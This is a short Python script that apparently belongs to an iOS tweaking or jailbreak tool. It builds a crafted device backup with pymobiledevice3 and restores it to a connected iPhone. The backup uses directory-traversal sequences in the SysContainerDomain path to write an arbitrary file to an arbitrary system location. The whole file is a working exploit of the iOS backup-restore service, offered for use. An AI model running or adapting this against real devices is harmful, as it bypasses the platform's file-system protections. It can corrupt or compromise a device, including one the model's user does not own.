from exploit import backup from pymobiledevice3.lockdown import create_using_usbmux from pymobiledevice3.services.mobilebackup2 import Mobilebackup2Service from tempfile import TemporaryDirectory from pathlib import Path def restore_file(fp: str, restore_path: str, restore_name: str): # open the file and read the contents contents = open(fp, "rb").read() # create the backup back = backup.Backup(files=[ backup.Directory("", "RootDomain", owner=501, group=501), backup.Directory("Library", "RootDomain", owner=501, group=501), backup.Directory("Library/Preferences", "RootDomain", owner=501, group=501), backup.ConcreteFile("Library/Preferences/Hello", "RootDomain", owner=501, group=501, contents=contents), backup.Directory("", f"SysContainerDomain-../../../../../../../../var/.backup.i{restore_path}", owner=501, group=501), backup.ConcreteFile("", f"SysContainerDomain-../../../../../../../../var/.backup.i{restore_path}{restore_name}", owner=501, group=501, contents=contents), backup.Directory("", "SysContainerDomain-../../../../../../../../var/.backup.i/var/root/Library/Preferences/Hello", owner=501, group=501), ]) # get a temporary dir to store the backup with TemporaryDirectory() as backup_dir: backup_dir_path = Path(backup_dir) back.write_to_directory(backup_dir_path) print(f"Backup written to {backup_dir}") input("Press Enter to continue...") lockdown = create_using_usbmux() with Mobilebackup2Service(lockdown) as mb: mb.restore(backup_dir, system=True, reboot=False, copy=False, source=".")